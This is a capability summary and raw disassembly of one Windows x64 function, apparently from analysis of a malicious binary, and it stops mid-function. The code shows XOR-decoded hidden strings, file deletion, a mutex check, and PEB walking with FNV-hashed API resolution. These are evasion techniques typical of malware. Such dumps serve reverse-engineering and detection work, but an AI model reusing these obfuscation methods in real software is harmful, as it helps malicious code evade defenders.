Function at 0x7ff7cbf64070
Capabilities:
Access peb ldr_data
Check for foreground window switch
Create process on windows
Delete file
Encode data using xor
Execute command
Get common file path
Get file attributes
Hash data using fnv
Resolve function by parsing pe exports
Set console window title
Set file attributes
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xb0c8]
mov eax, 0xb1a0
call fcn.7ff7cbf782b0
sub rsp, rax
movaps xmmword [rsp + 0xb190], xmm6
movaps xmmword [rsp + 0xb180], xmm7
movaps xmmword [rsp + 0xb170], xmm8
movaps xmmword [rsp + 0xb160], xmm9
movaps xmmword [rsp + 0xb150], xmm10
movaps xmmword [rsp + 0xb140], xmm11
movaps xmmword [rsp + 0xb130], xmm12
mov rax, qword [0x7ff7cbf93a08]
xor rax, rsp
mov qword [rbp + 0xb020], rax
xor r15d, r15d
mov dword [rbp + 0x9aa0], r15d
lea ebx, [r15 + 1]
mov ecx, ebx
call fcn.7ff7cbf4e864
movabs r13, 0x4294963d26228a5
movabs r12, 0xe1b652f26fba99a6
test eax, eax
jne 0x7ff7cbf6422c
movabs rcx, 0x68402805f23f05fe
movabs rdx, 0x8fd3729d1b9afdc3
movabs r8, 0x3158ff1189c27596
movabs r9, 0xefda4e81a93109ad
movabs r10, 0xe2c26871be206e9c
movabs r11, 0xc642deaea7eac920
mov qword [rbp + 0x9a20], r13
mov qword [rbp + 0x9a28], r12
movabs rax, 0x5c378c31ecae17f7
mov qword [rbp + 0x9a30], rax
movabs rax, 0x83b338e8db4129c8
mov qword [rbp + 0x9a38], rax
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0x9a40], rax
movabs rax, 0xc642deaea7eac92a
mov qword [rbp + 0x9a48], rax
mov qword [rbp + 0x1310], rcx
mov qword [rbp + 0x1318], rdx
mov qword [rbp + 0x1320], r8
mov qword [rbp + 0x1328], r9
mov qword [rbp + 0x1330], r10
mov qword [rbp + 0x1338], r11
movdqa xmm0, xmmword [rbp + 0x1310]
pxor xmm0, xmmword [rbp + 0x9a20]
movdqa xmmword [rbp + 0x1310], xmm0
movdqa xmm1, xmmword [rbp + 0x9a30]
pxor xmm1, xmmword [rbp + 0x1320]
movdqa xmmword [rbp + 0x1320], xmm1
movdqa xmm0, xmmword [rbp + 0x9a40]
pxor xmm0, xmmword [rbp + 0x1330]
movdqa xmmword [rbp + 0x1330], xmm0
lea rcx, [rbp + 0x1310]
call fcn.7ff7cbf63d9c
jmp 0x7ff7cbf77988
mov qword [rbp + 0x99f0], r13
mov qword [rbp + 0x99f8], r12
movabs rax, 0x68072c17b30658d0
mov qword [rbp + 0x130], rax
movabs rax, 0xe1b652f26fbafec9
mov qword [rbp + 0x138], rax
movdqa xmm0, xmmword [rbp + 0x130]
pxor xmm0, xmmword [rbp + 0x99f0]
movdqa xmmword [rbp + 0x130], xmm0
mov rdx, r15
lea rcx, [0x7ff7cbf94920]
mov al, byte [rbp + rdx + 0x130]
mov byte [rdx + rcx], al
add rdx, rbx
test al, al
jne 0x7ff7cbf6427e
call qword [sym.imp.kernel32.dll_DeleteFileA]
lea rdx, [rbp + 0xad00]
mov ecx, 0x100
call qword [sym.imp.kernel32.dll_GetCurrentDirectoryA]
mov edx, 0xb
lea rcx, [rbp + 0x2570]
call fcn.7ff7cbf39428
cmp qword [rax + 0x18], 0x10
jb 0x7ff7cbf642c2
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.kernel32.dll_SetConsoleTitleA]
mov rdx, qword [rbp + 0x2588]
cmp rdx, 0x10
jb 0x7ff7cbf6430c
inc rdx
mov rcx, qword [rbp + 0x2570]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7cbf64307
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff7cbf64a45
call fcn.7ff7cbf77c70
mov qword [rbp + 0x2580], r15
mov qword [rbp + 0x2588], 0xf
mov byte [rbp + 0x2570], r15b
mov rcx, qword [0x7ff7cbf935b8]
mov edx, 2
cmp rcx, rdx
jb 0x7ff7cbf6435e
lea rax, [0x7ff7cbf935a0]
cmp rcx, 0x10
cmovae rax, qword [0x7ff7cbf935a0]
mov qword [0x7ff7cbf935b0], rdx
mov ecx, 0x3032
mov word [rax], cx
mov byte [rax + 2], r15b
jmp 0x7ff7cbf64376
xor eax, eax
lea r9, [0x7ff7cbf8431c]
mov r8b, al
lea rcx, [0x7ff7cbf935a0]
call fcn.7ff7cbf2db10
mov rax, qword [0x7ff7cbf935d8]
mov ecx, 6
cmp rax, rcx
jb 0x7ff7cbf643be
lea rbx, [0x7ff7cbf935c0]
cmp rax, 0x10
cmovae rbx, qword [0x7ff7cbf935c0]
mov qword [0x7ff7cbf935d0], rcx
mov r8d, ecx
lea rdx, [0x7ff7cbf84320]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + 6], r15b
mov ebx, 1
jmp 0x7ff7cbf643d9
xor eax, eax
lea r9, [0x7ff7cbf84320]
mov r8b, al
mov rdx, rcx
lea rcx, [0x7ff7cbf935c0]
call fcn.7ff7cbf2db10
mov qword [rbp + 0x9a00], r13
mov qword [rbp + 0x9a08], r12
movabs rsi, 0x5c378c31ecae17f7
mov qword [rbp + 0x9a10], rsi
movabs r14, 0x83b338e8db4129c8
mov qword [rbp + 0x9a18], r14
movabs rax, 0x45b4913d21228ca
mov qword [rbp + 0x110], rax
movabs rax, 0xe1d952816fc999c3
mov qword [rbp + 0x118], rax
movabs rax, 0x5c4e8c49ec801785
mov qword [rbp + 0x120], rax
movabs rax, 0x83b338e8db4129b2
mov qword [rbp + 0x128], rax
movdqa xmm0, xmmword [rbp + 0x110]
pxor xmm0, xmmword [rbp + 0x9a00]
movdqa xmmword [rbp + 0x110], xmm0
movdqa xmm1, xmmword [rbp + 0x9a10]
pxor xmm1, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x120], xmm1
mov qword [rbp + 0x4370], r15
movdqa xmm0, xmmword [0x7ff7cbf85eb0]
movdqu xmmword [rbp + 0x4380], xmm0
lea rax, [rbp + 0x110]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], r15w
jne 0x7ff7cbf6449f
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x4370]
call fcn.7ff7cbf3f51c
mov r8b, bl
mov edx, 0x50
lea rcx, [rbp + 0x4370]
call fcn.7ff7cbf549f8
movabs rcx, 0xe19952806fdf99c2
movabs rdx, 0x5c538c50ecc1179b
movabs r8, 0x83c138b7db3329ad
movabs r9, 0xcc89462acd34099c
movabs r10, 0xc632de80a79ec959
movabs r11, 0x81c0a99dbb12be63
mov qword [rbp + 0x9b20], r13
mov qword [rbp + 0x9b28], r12
mov qword [rbp + 0x9b30], rsi
mov qword [rbp + 0x9b38], r14
movabs rbx, 0xccec465fcd4509f9
mov qword [rbp + 0x9b40], rbx
movabs rdi, 0xc642deaea7eac92a
mov qword [rbp + 0x9b48], rdi
movabs rax, 0x81c0a99dbb62be0b
mov qword [rbp + 0x9b50], rax
movabs rax, 0x6c08c6d4812e996c
mov qword [rbp + 0x9b58], rax
movabs rax, 0x448490cd20e288a
mov qword [rbp + 0x1710], rax
mov qword [rbp + 0x1718], rcx
mov qword [rbp + 0x1720], rdx
mov qword [rbp + 0x1728], r8
mov qword [rbp + 0x1730], r9
mov qword [rbp + 0x1738], r10
mov qword [rbp + 0x1740], r11
movabs rax, 0x6c08c6d4812e996c
mov qword [rbp + 0x1748], rax
movdqa xmm0, xmmword [rbp + 0x1710]
pxor xmm0, xmmword [rbp + 0x9b20]
movdqa xmmword [rbp + 0x1710], xmm0
movdqa xmm1, xmmword [rbp + 0x9b30]
pxor xmm1, xmmword [rbp + 0x1720]
movdqa xmmword [rbp + 0x1720], xmm1
movdqa xmm0, xmmword [rbp + 0x9b40]
pxor xmm0, xmmword [rbp + 0x1730]
movdqa xmmword [rbp + 0x1730], xmm0
movdqa xmm1, xmmword [rbp + 0x9b50]
pxor xmm1, xmmword [rbp + 0x1740]
movdqa xmmword [rbp + 0x1740], xmm1
mov rcx, r15
lea rdx, [0x7ff7cbf94700]
movzx eax, word [rbp + rcx + 0x1710]
mov word [rcx + rdx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x7ff7cbf64622
lea rcx, [rbp + 0x2590]
call fcn.7ff7cbf50cac
lea r9, [0x7ff7cbf93320]
cmp r9, rax
je 0x7ff7cbf6465f
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
mov rdx, qword [rbp + 0x25a8]
cmp rdx, 0x10
jb 0x7ff7cbf646a0
inc rdx
mov rcx, qword [rbp + 0x2590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7cbf6469b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff7cbf64a45
call fcn.7ff7cbf77c70
mov qword [rbp + 0x25a0], r15
mov qword [rbp + 0x25a8], 0xf
mov byte [rbp + 0x2590], r15b
xor edx, edx
lea rcx, [rbp + 0x25b0]
call fcn.7ff7cbf515dc
lea r9, [0x7ff7cbf932c0]
cmp r9, rax
je 0x7ff7cbf646e3
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
mov rdx, qword [rbp + 0x25c8]
cmp rdx, 0x10
jb 0x7ff7cbf64724
inc rdx
mov rcx, qword [rbp + 0x25b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7cbf6471f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff7cbf64a45
call fcn.7ff7cbf77c70
mov qword [rbp + 0x25c0], r15
mov qword [rbp + 0x25c8], 0xf
mov byte [rbp + 0x25b0], r15b
lea rcx, [rbp + 0x25d0]
call fcn.7ff7cbf517c0
lea r9, [0x7ff7cbf932e0]
cmp r9, rax
je 0x7ff7cbf64765
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
mov rdx, qword [rbp + 0x25e8]
cmp rdx, 0x10
jb 0x7ff7cbf647a6
inc rdx
mov rcx, qword [rbp + 0x25d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7cbf647a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff7cbf64a45
call fcn.7ff7cbf77c70
mov qword [rbp + 0x25e0], r15
mov qword [rbp + 0x25e8], 0xf
mov byte [rbp + 0x25d0], r15b
cmp qword [0x7ff7cbf932f0], r15
jne 0x7ff7cbf64866
call qword [sym.imp.kernel32.dll_GetLastError]
mov qword [rbp + 0x9a00], r13
mov qword [rbp + 0x9a08], r12
mov qword [rbp + 0x9a10], rsi
mov qword [rbp + 0x9a18], r14
movabs rcx, 0x68402805f23f05fe
mov qword [rbp + 0xbb0], rcx
movabs rcx, 0xc49620df089afdc3
mov qword [rbp + 0xbb8], rcx
movabs rcx, 0x5c378c31ecae1daf
mov qword [rbp + 0xbc0], rcx
mov qword [rbp + 0xbc8], r14
movdqa xmm0, xmmword [rbp + 0xbb0]
pxor xmm0, xmmword [rbp + 0x9a00]
movdqa xmmword [rbp + 0xbb0], xmm0
movdqa xmm1, xmmword [rbp + 0x9a10]
pxor xmm1, xmmword [rbp + 0xbc0]
movdqa xmmword [rbp + 0xbc0], xmm1
mov edx, eax
lea rcx, [rbp + 0xbb0]
call fcn.7ff7cbf63d9c
lea rcx, [rbp + 0x25f0]
call fcn.7ff7cbf51414
lea r9, [0x7ff7cbf93300]
cmp r9, rax
je 0x7ff7cbf6488e
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
mov rdx, qword [rbp + 0x2608]
cmp rdx, 0x10
jb 0x7ff7cbf648cf
inc rdx
mov rcx, qword [rbp + 0x25f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7cbf648ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff7cbf64a45
call fcn.7ff7cbf77c70
mov qword [rbp + 0x2600], r15
mov qword [rbp + 0x2608], 0xf
mov byte [rbp + 0x25f0], r15b
lea rcx, [rbp + 0x2610]
call fcn.7ff7cbf50e30
lea rcx, [0x7ff7cbf932a0]
cmp rcx, rax
je 0x7ff7cbf6490d
xor edx, edx
mov r8b, dl
mov rdx, rax
call fcn.7ff7cbf3dff0
mov rdx, qword [rbp + 0x2628]
cmp rdx, 0x10
jb 0x7ff7cbf6494e
inc rdx
mov rcx, qword [rbp + 0x2610]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7cbf64949
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff7cbf64a45
call fcn.7ff7cbf77c70
mov qword [rbp + 0x2620], r15
mov qword [rbp + 0x2628], 0xf
mov byte [rbp + 0x2610], r15b
lea rcx, [rbp + 0x2630]
call fcn.7ff7cbf51198
lea r9, [0x7ff7cbf93220]
cmp r9, rax
je 0x7ff7cbf6498f
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
mov rdx, qword [rbp + 0x2648]
cmp rdx, 0x10
jb 0x7ff7cbf649cc
inc rdx
mov rcx, qword [rbp + 0x2630]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7cbf649c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff7cbf64a45
call fcn.7ff7cbf77c70
mov qword [rbp + 0x2640], r15
mov qword [rbp + 0x2648], 0xf
mov byte [rbp + 0x2630], r15b
lea rcx, [rbp + 0x2650]
call fcn.7ff7cbf523d4
lea r9, [0x7ff7cbf93240]
cmp r9, rax
je 0x7ff7cbf64a0d
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
mov rdx, qword [rbp + 0x2668]
cmp rdx, 0x10
jb 0x7ff7cbf64a51
inc rdx
mov rcx, qword [rbp + 0x2650]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7cbf64a4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7cbf64a4c
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7cbf77c70
mov qword [rbp + 0x2660], r15
mov qword [rbp + 0x2668], 0xf
mov byte [rbp + 0x2650], r15b
lea rcx, [rbp + 0x65e0]
call fcn.7ff7cbf51198
mov rdx, rax
lea rcx, [rbp + 0x4ae0]
call fcn.7ff7cbf599c0
lea r9, [0x7ff7cbf93260]
cmp r9, rax
je 0x7ff7cbf64aa1
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x4ae0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x4b00]
call fcn.7ff7cbf521f4
lea r9, [0x7ff7cbf93360]
cmp r9, rax
je 0x7ff7cbf64ad5
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x4b00]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x4b20]
call fcn.7ff7cbf5152c
lea r9, [0x7ff7cbf93380]
cmp r9, rax
je 0x7ff7cbf64b09
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x4b20]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x4b40]
call fcn.7ff7cbf524d0
lea r9, [0x7ff7cbf93340]
cmp r9, rax
je 0x7ff7cbf64b3d
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x4b40]
call fcn.7ff7cbf376b0
lea r8, [0x7ff7cbf93340]
lea rdx, [0x7ff7cbf93220]
lea rcx, [rbp + 0x7220]
call fcn.7ff7cbf2ace0
mov rdx, rax
lea rcx, [rbp + 0x4b60]
call fcn.7ff7cbf599c0
lea r9, [0x7ff7cbf93280]
cmp r9, rax
je 0x7ff7cbf64b8e
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x4b60]
call fcn.7ff7cbf376b0
mov qword [rbp + 0x99f0], r13
mov qword [rbp + 0x99f8], r12
movabs rax, 0x63763b06b60347c9
mov qword [rbp + 0x140], rax
movabs rax, 0xe1d326931ddff7c3
mov qword [rbp + 0x148], rax
movdqa xmm0, xmmword [rbp + 0x140]
pxor xmm0, xmmword [rbp + 0x99f0]
movdqa xmmword [rbp + 0x140], xmm0
lea r8, [0x7ff7cbf93340]
lea rdx, [0x7ff7cbf93220]
lea rcx, [rbp + 0x4ba0]
call fcn.7ff7cbf2ace0
lea r8, [rbp + 0x140]
mov rdx, rax
lea rcx, [rbp + 0x7240]
call fcn.7ff7cbf2ac80
mov rdx, rax
lea rcx, [rbp + 0x4b80]
call fcn.7ff7cbf599c0
lea r9, [0x7ff7cbf933a0]
cmp r9, rax
je 0x7ff7cbf64c3d
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x4b80]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x4ba0]
call fcn.7ff7cbf376b0
lea rdx, [0x7ff7cbf933a0]
lea rcx, [rbp + 0x4be0]
call fcn.7ff7cbf4fcf4
mov rdx, rax
lea r8, [0x7ff7cbf84328]
lea rcx, [rbp + 0x4bc0]
call fcn.7ff7cbf2ac80
lea r9, [0x7ff7cbf933a0]
cmp r9, rax
je 0x7ff7cbf64c9a
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x4bc0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x4be0]
call fcn.7ff7cbf376b0
lea r8, [0x7ff7cbf84300]
lea rdx, [0x7ff7cbf93360]
lea rcx, [rbp + 0x4c00]
call fcn.7ff7cbf2ad48
mov rdx, rax
lea r8, [0x7ff7cbf933a0]
lea rcx, [rbp + 0x8540]
call fcn.7ff7cbf2ac24
lea rcx, [rbp + 0x4c00]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8540]
cmp qword [rbp + 0x8558], 0x10
cmovae rcx, qword [rbp + 0x8540]
call qword [sym.imp.kernel32.dll_DeleteFileA]
mov qword [rbp + 0x9a00], r13
mov qword [rbp + 0x9a08], r12
mov qword [rbp + 0x9a10], rsi
mov qword [rbp + 0x9a18], r14
movabs rax, 0x6b5a3a06a01258ca
mov qword [rbp + 0xbd0], rax
movabs rax, 0x84d837821fd5c6d4
mov qword [rbp + 0xbd8], rax
movabs rax, 0x5c378c31ecae1793
mov qword [rbp + 0xbe0], rax
mov qword [rbp + 0xbe8], r14
movdqa xmm0, xmmword [rbp + 0xbd0]
pxor xmm0, xmmword [rbp + 0x9a00]
movdqa xmmword [rbp + 0xbd0], xmm0
movdqa xmm1, xmmword [rbp + 0x9a10]
pxor xmm1, xmmword [rbp + 0xbe0]
movdqa xmmword [rbp + 0xbe0], xmm1
lea r8, [rbp + 0xbd0]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.kernel32.dll_OpenMutexA]
mov qword [rbp + 0x9a00], r13
mov qword [rbp + 0x9a08], r12
mov qword [rbp + 0x9a10], rsi
mov qword [rbp + 0x9a18], r14
test rax, rax
je 0x7ff7cbf64efd
movabs rax, 0x655d3a0dbb4246c4
mov qword [rbp + 0xbf0], rax
movabs rax, 0x8096219b4fdffac8
mov qword [rbp + 0xbf8], rax
movabs rax, 0x2e17f5558dcb659b
mov qword [rbp + 0xc00], rax
movabs rax, 0x83b35f86b22f47bd
mov qword [rbp + 0xc08], rax
movdqa xmm0, xmmword [rbp + 0xbf0]
pxor xmm0, xmmword [rbp + 0x9a00]
movdqa xmmword [rbp + 0xbf0], xmm0
movdqa xmm1, xmmword [rbp + 0xc00]
pxor xmm1, xmmword [rbp + 0x9a10]
movdqa xmmword [rbp + 0xc00], xmm1
call qword [sym.imp.user32.dll_GetForegroundWindow]
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x7ff7cbf64ec4
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x7ff7cbf64ec4
mov edi, dword [r9 + 0x20]
mov r14d, 1
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov r11d, 0x3ee1383a
mov cl, byte [rdx]
add rdx, r14
test cl, cl
je 0x7ff7cbf64ebf
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
add rdx, r14
test cl, cl
jne 0x7ff7cbf64ea0
cmp r11d, 0xa244fbfd
je 0x7ff7cbf64ec9
test r10d, r10d
jne 0x7ff7cbf64e83
mov rax, qword [rax]
jmp 0x7ff7cbf64e58
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + r10*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
xor r9d, r9d
lea r8, [0x7ff7cbf84304]
lea rdx, [rbp + 0xbf0]
mov rcx, rsi
call rax
jmp 0x7ff7cbf7797c
movabs rax, 0x6b5a3a06a01258ca
mov qword [rbp + 0xc10], rax
movabs rax, 0x84d837821fd5c6d4
mov qword [rbp + 0xc18], rax
movabs rax, 0x5c378c31ecae1793
mov qword [rbp + 0xc20], rax
mov qword [rbp + 0xc28], r14
movdqa xmm0, xmmword [rbp + 0xc10]
pxor xmm0, xmmword [rbp + 0x9a00]
movdqa xmmword [rbp + 0xc10], xmm0
movdqa xmm1, xmmword [rbp + 0xc20]
pxor xmm1, xmmword [rbp + 0x9a10]
movdqa xmmword [rbp + 0xc20], xmm1
lea r8, [rbp + 0xc10]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateMutexA]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x7ff7cbf778cf
lea rax, [0x7ff7cbf84330]
mov qword [rbp + 0xaa60], rax
lea rax, [0x7ff7cbf84340]
mov qword [rbp + 0xaa68], rax
lea rax, [0x7ff7cbf84350]
mov qword [rbp + 0xaa70], rax
lea rax, [0x7ff7cbf84360]
mov qword [rbp + 0xaa78], rax
lea rax, [rbp + 0xaa60]
mov qword [rbp + 0x99e0], rax
mov rax, qword [rax]
mov qword [rbp + 0x99f0], rax
mov rcx, rax
call fcn.7ff7cbf51a1c
mov dword [rbp + 0x9aa0], eax
test eax, eax
jne 0x7ff7cbf7777e
mov rax, qword [rbp + 0x99e0]
add rax, 8
mov qword [rbp + 0x99e0], rax
lea rcx, [rbp + 0xaa80]
cmp rax, rcx
jne 0x7ff7cbf64fcb
mov qword [rbp + 0x8618], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x8628], xmm0
lea rdx, [0x7ff7cbf7e324]
lea rcx, [rbp + 0x8618]
call fcn.7ff7cbf3f4b0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8468], xmm0
mov qword [rbp + 0x8478], rax
mov qword [rbp + 0x2690], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x26a0], xmm0
lea rdx, [0x7ff7cbf84328]
lea rcx, [rbp + 0x2690]
call fcn.7ff7cbf3f4b0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x8468], xmm0
mov qword [rbp + 0x8478], r15
mov r9b, byte [rsp + 0x60]
lea r8, [rbp + 0x26b0]
lea rdx, [rbp + 0x2690]
lea rcx, [rbp + 0x8468]
call fcn.7ff7cbf2d810
lea r9, [fcn.7ff7cbf376b0]
mov edx, 0x20
lea r8d, [rdx - 0x1f]
lea rcx, [rbp + 0x2690]
call fcn.7ff7cbf77ba0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8450], xmm0
mov qword [rbp + 0x8460], rax
lea rcx, [rbp + 0x4c40]
call fcn.7ff7cbf4cd44
lea rdx, [rbp + 0x4c20]
mov rcx, rax
call fcn.7ff7cbf62b3c
mov rdx, rax
lea r8, [rbp + 0x8468]
lea rcx, [rbp + 0x8450]
call fcn.7ff7cbf4f620
lea rcx, [rbp + 0x4c20]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x4c40]
call fcn.7ff7cbf3ecd0
mov rdx, qword [rbp + 0x8450]
mov rax, qword [rbp + 0x8458]
cmp rdx, rax
je 0x7ff7cbf775be
sub rax, rdx
sar rax, 5
mov ecx, 1
cmp rax, rcx
ja 0x7ff7cbf775be
mov qword [rbp + 0x8560], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x8570], xmm0
lea rcx, [rbp + 0x8560]
call fcn.7ff7cbf3ba50
mov rbx, qword [rbp + 0x8450]
lea rcx, [rbp + 0x4ca0]
call fcn.7ff7cbf4cd44
lea rdx, [rbp + 0x4c80]
mov rcx, rax
call fcn.7ff7cbf62b3c
mov rdx, rax
lea r8, [0x7ff7cbf84300]
lea rcx, [rbp + 0x4c60]
call fcn.7ff7cbf2ac80
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x88f8]
call fcn.7ff7cbf2ac24
lea rcx, [rbp + 0x4c60]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x4c80]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x4ca0]
call fcn.7ff7cbf3ecd0
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x82d0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x8560]
cmp qword [rbp + 0x8578], 0x10
cmovae rdx, qword [rbp + 0x8560]
mov eax, 1
mov dword [rsp + 0x20], eax
lea r9d, [rax + 0x3f]
lea r8d, [rax + 0x23]
lea rcx, [rbp + 0x82d0]
call fcn.7ff7cbf35768
mov rax, qword [rbp + 0x82d0]
movsxd rcx, dword [rax + 4]
mov edx, dword [rbp + rcx + 0x82e0]
test dl, 6
je 0x7ff7cbf65327
movabs rcx, 0x68402805f23f05fe
movabs rbx, 0xc642deaea7eac372
movabs r8, 0x91d9729d1b9afdc3
movabs r9, 0x7c52e0588a8e7992
movabs r10, 0xe0da4c86be355ca9
movabs r11, 0xe9cc7c31a22c7d98
mov qword [rbp + 0x9a20], r13
mov qword [rbp + 0x9a28], r12
mov qword [rbp + 0x9a30], rsi
mov qword [rbp + 0x9a38], r14
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0x9a40], rax
mov qword [rbp + 0x9a48], rdi
mov qword [rbp + 0x1370], rcx
mov qword [rbp + 0x1378], r8
mov qword [rbp + 0x1380], r9
mov qword [rbp + 0x1388], r10
mov qword [rbp + 0x1390], r11
mov qword [rbp + 0x1398], rbx
movdqa xmm0, xmmword [rbp + 0x1370]
pxor xmm0, xmmword [rbp + 0x9a20]
movdqa xmmword [rbp + 0x1370], xmm0
movdqa xmm1, xmmword [rbp + 0x1380]
pxor xmm1, xmmword [rbp + 0x9a30]
movdqa xmmword [rbp + 0x1380], xmm1
movdqa xmm0, xmmword [rbp + 0x1390]
pxor xmm0, xmmword [rbp + 0x9a40]
movdqa xmmword [rbp + 0x1390], xmm0
lea rcx, [rbp + 0x1370]
call fcn.7ff7cbf63d9c
jmp 0x7ff7cbf6543d
lea rdx, [rbp + 0x8880]
lea rcx, [rbp + 0x82d0]
call qword [sym.imp.msvcp140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, qword [rbp + 0x8888]
add rcx, qword [rbp + 0x8880]
jne 0x7ff7cbf654bd
movabs rcx, 0x68402805f23f05fe
movabs rdx, 0x84d1729d1b9afdc3
movabs r8, 0x3317e94b85dd3783
movabs r9, 0xe2935d84b22709ae
movabs r10, 0xad8f2f2ba3207d8c
movabs r11, 0xc648fe94c985a05e
mov qword [rbp + 0x9a20], r13
mov qword [rbp + 0x9a28], r12
mov qword [rbp + 0x9a30], rsi
mov qword [rbp + 0x9a38], r14
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0x9a40], rax
mov qword [rbp + 0x9a48], rdi
mov qword [rbp + 0x1250], rcx
mov qword [rbp + 0x1258], rdx
mov qword [rbp + 0x1260], r8
mov qword [rbp + 0x1268], r9
mov qword [rbp + 0x1270], r10
mov qword [rbp + 0x1278], r11
movdqa xmm0, xmmword [rbp + 0x1250]
pxor xmm0, xmmword [rbp + 0x9a20]
movdqa xmmword [rbp + 0x1250], xmm0
movdqa xmm1, xmmword [rbp + 0x1260]
pxor xmm1, xmmword [rbp + 0x9a30]
movdqa xmmword [rbp + 0x1260], xmm1
movdqa xmm0, xmmword [rbp + 0x1270]
pxor xmm0, xmmword [rbp + 0x9a40]
